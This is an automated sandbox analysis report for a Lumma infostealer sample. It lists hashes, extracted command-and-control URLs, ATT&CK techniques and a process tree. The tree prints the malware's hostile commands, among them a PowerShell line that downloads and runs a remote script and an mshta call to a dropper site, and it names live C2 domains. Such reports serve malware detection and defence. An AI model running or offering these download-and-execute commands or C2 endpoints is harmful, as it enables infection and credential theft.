lumma | 9f26363ffe8538072b6088d99b05a76074735343ea8046f76af75fcab93c5626

Analysis

max time kernel
149s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20251231-en
resource tags

arch:x64arch:x86image:win10v2004-20251231-enlocale:en-usos:windows10-2004-x64system
submitted
05/01/2026, 18:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_9f26363ffe8538072b6088d99b05a76074735343ea8046f76af75fcab93c5626.exe
Size 1.3MB
Sample260105-wpzpdatmbl
SHA256 9f26363ffe8538072b6088d99b05a76074735343ea8046f76af75fcab93c5626
MD5 1ae725a96dddfafe0f27a3040b6a80ec
SHA1 6b323a69ded30d05ac2aed3b1a47f6b9a631bdd8
SHA512 9651f6fbd67315c9460ea7f6331c1327d3fa7442c45bc8ca4c3c529deefd98f86512436d0a8c56e2f50698d91ac0a5a998eabe75fc8451040caacc0e65bc0e1b
SSDEEP 24576:DZj2SrLzkdHH/llirkcHSkAG34tFr8Bip+zzcf1Sq8bVhiO:DpfL4dn/biAcHSaooi+rbS
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

discovery execution lumma persistence spyware stealer

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://memory-scanner.cc

Extracted

Family

lumma

https://spielbkr.cyou/api
https://whitepepper.su/asds
https://hammernew.su/asdase
https://heavylussy.su/ccvfd
https://broguenko.su/asfase
https://homuncloud.su/ascasef
https://familyriwo.su/fssdaw
https://izzardtow.su/cascasc
https://basilicros.su/asdasq

Attributes

build_id
5509f6eb20854114321341c75f689d0e06bc8c

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1168	5632	mshta.exe	96

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
100	2300	powershell.exe
104	1168	mshta.exe
106	1168	mshta.exe
108	1168	mshta.exe
109	1168	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
2084	Mounted.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	_9f26363ffe8538072b6088d99b05a76074735343ea8046f76af75fcab93c5626.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
97	pastebin.com
98	pastebin.com

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
848	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2300	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mounted.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	_9f26363ffe8538072b6088d99b05a76074735343ea8046f76af75fcab93c5626.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2616	chrome.exe
4304	msedge.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134121607302016298"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-96356054-3272438343-75478577-1000\{53D30027-F0BC-4C90-BA5A-9EAB971753F4}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-96356054-3272438343-75478577-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-96356054-3272438343-75478577-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	109	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
6048	chrome.exe
6048	chrome.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
2300	powershell.exe
2300	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
5376	msedge.exe
5376	msedge.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeShutdownPrivilege	6048	chrome.exe
Token: SeCreatePagefilePrivilege	6048	chrome.exe
Token: SeShutdownPrivilege	6048	chrome.exe
Token: SeCreatePagefilePrivilege	6048	chrome.exe
Token: SeShutdownPrivilege	6048	chrome.exe
Token: SeCreatePagefilePrivilege	6048	chrome.exe
Token: SeShutdownPrivilege	6048	chrome.exe
Token: SeCreatePagefilePrivilege	6048	chrome.exe
Token: SeShutdownPrivilege	6048	chrome.exe
Token: SeCreatePagefilePrivilege	6048	chrome.exe
Token: SeShutdownPrivilege	6048	chrome.exe
Token: SeCreatePagefilePrivilege	6048	chrome.exe
Token: SeShutdownPrivilege	6048	chrome.exe
Token: SeCreatePagefilePrivilege	6048	chrome.exe
Token: SeDebugPrivilege	2300	powershell.exe
Token: SeSecurityPrivilege	1168	mshta.exe
Token: SeSecurityPrivilege	1168	mshta.exe

Suspicious use of FindShellTrayWindow 38 IoCs

pid	Process
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
5376	msedge.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2084	Mounted.exe
2084	Mounted.exe
2084	Mounted.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 4400 wrote to memory of 848	4400	_9f26363ffe8538072b6088d99b05a76074735343ea8046f76af75fcab93c5626.exe	85
PID 4400 wrote to memory of 220	4400	_9f26363ffe8538072b6088d99b05a76074735343ea8046f76af75fcab93c5626.exe	87
PID 220 wrote to memory of 852	220	cmd.exe	89
PID 852 wrote to memory of 2764	852	cmd.exe	92
PID 852 wrote to memory of 2084	852	cmd.exe	93
PID 2084 wrote to memory of 6048	2084	Mounted.exe	97
PID 6048 wrote to memory of 5252	6048	chrome.exe	98
PID 6048 wrote to memory of 3036	6048	chrome.exe	99
PID 6048 wrote to memory of 3036	6048	chrome.exe	99
PID 6048 wrote to memory of 2616	6048	chrome.exe	100
PID 6048 wrote to memory of 4772	6048	chrome.exe	102
PID 6048 wrote to memory of 4772	6048	chrome.exe	102
PID 6048 wrote to memory of 4828	6048	chrome.exe	103
PID 6048 wrote to memory of 4828	6048	chrome.exe	103
PID 6048 wrote to memory of 1828	6048	chrome.exe	104
PID 6048 wrote to memory of 1828	6048	chrome.exe	104
PID 6048 wrote to memory of 3912	6048	chrome.exe	105
PID 6048 wrote to memory of 3912	6048	chrome.exe	105
PID 6048 wrote to memory of 3740	6048	chrome.exe	106
PID 6048 wrote to memory of 3740	6048	chrome.exe	106
PID 6048 wrote to memory of 5616	6048	chrome.exe	108
PID 2084 wrote to memory of 5376	2084	Mounted.exe	110
PID 5376 wrote to memory of 3708	5376	msedge.exe	111
PID 5376 wrote to memory of 4304	5376	msedge.exe	113
PID 5376 wrote to memory of 468	5376	msedge.exe	114
PID 5376 wrote to memory of 2628	5376	msedge.exe	115
PID 5376 wrote to memory of 468	5376	msedge.exe	114
PID 5376 wrote to memory of 468	5376	msedge.exe	114
PID 5376 wrote to memory of 2628	5376	msedge.exe	115
PID 5376 wrote to memory of 5216	5376	msedge.exe	116
PID 5376 wrote to memory of 5216	5376	msedge.exe	116
PID 5376 wrote to memory of 5216	5376	msedge.exe	116
PID 5376 wrote to memory of 5064	5376	msedge.exe	117
PID 5376 wrote to memory of 5064	5376	msedge.exe	117
PID 5376 wrote to memory of 5064	5376	msedge.exe	117
PID 5376 wrote to memory of 2216	5376	msedge.exe	119
PID 5376 wrote to memory of 2216	5376	msedge.exe	119
PID 5376 wrote to memory of 4176	5376	msedge.exe	120
PID 5376 wrote to memory of 2748	5376	msedge.exe	121
PID 5376 wrote to memory of 4176	5376	msedge.exe	120
PID 5376 wrote to memory of 2748	5376	msedge.exe	121
PID 5376 wrote to memory of 2368	5376	msedge.exe	123
PID 2084 wrote to memory of 2300	2084	Mounted.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\_9f26363ffe8538072b6088d99b05a76074735343ea8046f76af75fcab93c5626.exe
"C:\Users\Admin\AppData\Local\Temp\_9f26363ffe8538072b6088d99b05a76074735343ea8046f76af75fcab93c5626.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4400
- C:\Windows\SysWOW64\sc.exe
  sc.exe /?jhdfy7378742983ukrjsd
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:848
- C:\Windows\SysWOW64\cmd.exe
  cmd /v /c Set xQdo=cmd & !xQdo! < Mn.bin
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:220
- - C:\Windows\SysWOW64\cmd.exe
    cmd
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:852
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /V "REBOUND" Impacts
      4⤵
      System Location Discovery: System Language Discovery
      PID:2764
  - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\692529\Mounted.exe
      Mounted.exe k.a3x
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:2084
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" spielbkr.cyou/api/set_agent?id=115B3315BD24956701AEC7B30ADF174C&token=5509f6eb20854114321341c75f689d0e06bc8c&description=&agent=Chrome
        5⤵
        Checks processor information in registry
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:6048
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0x74,0x104,0x7ff8d2dbc728,0x7ff8d2dbc734,0x7ff8d2dbc740
        6⤵
        
        PID:5252
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1768,i,7377891478105096375,11315910623786976487,262144 --field-trial-handle=2000,i,16546572851137385213,1654579486508832757,262144 --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=1996 /prefetch:2
        6⤵
        
        PID:3036
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1628,i,685467433256670251,286101099142341101,524288 --field-trial-handle=2000,i,16546572851137385213,1654579486508832757,262144 --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=2264 /prefetch:3
        6⤵
        System Time Discovery
        
        PID:2616
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2372,i,5862459896190797131,2257592544860341017,524288 --field-trial-handle=2000,i,16546572851137385213,1654579486508832757,262144 --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=2344 /prefetch:8
        6⤵
        
        PID:4772
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3096,i,14123475470815681037,3783521330641508997,2097152 --field-trial-handle=2000,i,16546572851137385213,1654579486508832757,262144 --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=3212 /prefetch:1
        6⤵
        
        PID:4828
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3108,i,6836757564179614308,3222529578199553746,2097152 --field-trial-handle=2000,i,16546572851137385213,1654579486508832757,262144 --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=3236 /prefetch:1
        6⤵
        
        PID:1828
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4196,i,862121040306822971,4625837960430041962,2097152 --field-trial-handle=2000,i,16546572851137385213,1654579486508832757,262144 --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=4212 /prefetch:2
        6⤵
        
        PID:3912
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4664,i,3138752656819047927,154645313619893576,524288 --field-trial-handle=2000,i,16546572851137385213,1654579486508832757,262144 --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=4644 /prefetch:8
        6⤵
        
        PID:3740
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5404,i,5039328106152597820,10614399541802183548,524288 --field-trial-handle=2000,i,16546572851137385213,1654579486508832757,262144 --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=5408 /prefetch:8
        6⤵
        
        PID:5616
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" spielbkr.cyou/api/set_agent?id=115B3315BD24956701AEC7B30ADF174C&token=5509f6eb20854114321341c75f689d0e06bc8c&description=&agent=Edge
        5⤵
        Checks processor information in registry
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Modifies registry class
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:5376
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x2d4,0x7ff8d2bec188,0x7ff8d2bec194,0x7ff8d2bec1a0
        6⤵
        
        PID:3708
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1948,i,3162489198650520501,12622114143809972789,524288 --field-trial-handle=3008,i,5094878880517387666,5138793210127943888,262144 --variations-seed-version --mojo-platform-channel-handle=3036 /prefetch:3
        6⤵
        System Time Discovery
        
        PID:4304
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1744,i,137512070129654419,1316021522749319658,262144 --field-trial-handle=3008,i,5094878880517387666,5138793210127943888,262144 --variations-seed-version --mojo-platform-channel-handle=3004 /prefetch:2
        6⤵
        
        PID:468
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2340,i,16623717839231649535,3850846462825548949,524288 --field-trial-handle=3008,i,5094878880517387666,5138793210127943888,262144 --variations-seed-version --mojo-platform-channel-handle=3044 /prefetch:8
        6⤵
        
        PID:2628
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3456,i,14582006620598457609,2441118818778795083,2097152 --field-trial-handle=3008,i,5094878880517387666,5138793210127943888,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:1
        6⤵
        
        PID:5216
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3476,i,9409134396298059645,6929498637447593737,2097152 --field-trial-handle=3008,i,5094878880517387666,5138793210127943888,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:1
        6⤵
        
        PID:5064
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4824,i,16545935319240084274,17469746771760748576,524288 --field-trial-handle=3008,i,5094878880517387666,5138793210127943888,262144 --variations-seed-version --mojo-platform-channel-handle=4820 /prefetch:8
        6⤵
        
        PID:2216
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5032,i,16045234608005445908,12315937975629017466,524288 --field-trial-handle=3008,i,5094878880517387666,5138793210127943888,262144 --variations-seed-version --mojo-platform-channel-handle=5028 /prefetch:8
        6⤵
        
        PID:4176
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5024,i,6707749387732641206,10975878438146838040,524288 --field-trial-handle=3008,i,5094878880517387666,5138793210127943888,262144 --variations-seed-version --mojo-platform-channel-handle=5112 /prefetch:8
        6⤵
        
        PID:2748
      - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5924,i,12716882174454488776,11033575341458454776,524288 --field-trial-handle=3008,i,5094878880517387666,5138793210127943888,262144 --variations-seed-version --mojo-platform-channel-handle=5944 /prefetch:8
        6⤵
        
        PID:4288
      - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5924,i,12716882174454488776,11033575341458454776,524288 --field-trial-handle=3008,i,5094878880517387666,5138793210127943888,262144 --variations-seed-version --mojo-platform-channel-handle=5944 /prefetch:8
        6⤵
        
        PID:2368
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -exec bypass -Command "irm https://memory-scanner.cc/Presentation.pdf| iex"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2300

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5300

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x50c 0x504
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:640

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:556

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:6000

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:4812

C:\Windows\system32\mshta.exe
mshta.exe https://memory-scanner.cc
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:1168

C:\Windows\system32\mshta.exe
mshta.exe
1⤵
PID:5288

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

